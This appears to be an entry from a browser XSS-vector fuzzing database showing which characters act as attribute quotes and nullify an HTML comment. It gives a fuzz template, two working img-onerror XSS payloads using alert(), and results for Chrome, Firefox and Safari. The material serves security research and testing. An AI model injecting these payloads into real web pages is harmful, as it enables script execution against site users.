Characters that act as attribute quotes

This vector shows which characters act like quotes by nullifying a HTML comment.

Created by: hackvertor

Created on: Tuesday, May 28, 2024 at 9:43:17 PM

Updated on: Thursday, July 25, 2024 at 1:12:48 AM

Vector type: XSS

Template used:
<div a=$[chr]><!-- $[chr]></div><img src=x:x onerror=log($[i]) -->
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<div a="><!-- "></div><img src=x:x onerror=alert(34) -->
<div a='><!-- '></div><img src=x:x onerror=alert(39) -->

Fuzz results

Chrome logo
Chrome 125.0.0.0 Unknown Unknown
Found 2 results
DecHexChr
3422"
DecHexChr
3927'
Firefox logo
Firefox 126.0 Unknown Unknown
Found 2 results
DecHexChr
3422"
DecHexChr
3927'
Safari logo
Safari 17.4 Unknown Unknown
Found 2 results
DecHexChr
3422"
DecHexChr
3927'